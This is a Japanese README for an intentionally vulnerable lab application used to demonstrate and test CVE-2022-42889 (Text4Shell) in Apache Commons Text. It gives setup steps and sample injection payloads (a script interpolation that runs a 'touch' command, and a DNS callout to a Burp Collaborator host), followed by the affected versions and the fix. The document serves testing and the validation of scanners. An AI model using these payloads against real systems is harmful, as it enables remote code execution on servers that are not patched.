
CVE-2022-42889をテストするための概念実証アプリケーション
これは、脆弱性 CVE-2022-42889 の概念実証(PoC)として開発された脆弱なアプリケーションです。
これを実行するには、以下が必要です:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
mvn clean install
これにより ./target フォルダーが作成され、その中に JAR ファイル text4shell-poc-0.0.1-SNAPSHOT.jar が生成されます。
java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar
これにより、デフォルトで localhost のポート 8080 で Web サーバーが起動します。
http://localhost:8080/ にアクセスすると、次の出力が表示されます
Text4Shell POC Test -@securekomodo
Send payloads to /reflected?poc=yourpayload
OR Send payloads to /blind with payload as your userAgent
サンプルエクスプロイトペイロード
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}
${dns:<burp collaborator host>)}
エクスプロイトを確実に実演するための推奨 URL エンコーダー: https://www.urlencoder.org/。
または、Docker を使用してこの PoC を実行することもできます:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
docker build --tag=text4shell-poc .
docker run -p 80:8080 text4shell-poc
http://localhost/
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
${dns:<burp collaborator host>)}
エクスプロイトを確実に実演するための推奨 URL エンコーダー: https://www.urlencoder.org/。
あるいは、text4shell-scan などのスキャンツールの有効性を検証することもできます
あなたのコードが脆弱であるためには、以下の条件を満たす必要があります:
commons-text のバージョン 1.5.0 以上、1.10.0 未満を実行していることStringSubstituion に Interpolation を使用していること(https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html を参照) - これはあまり一般的ではないことに注意してください修正方法は、commons-text のインスタンスをバージョン 1.10.0 以降に更新することです。
Bryan Smith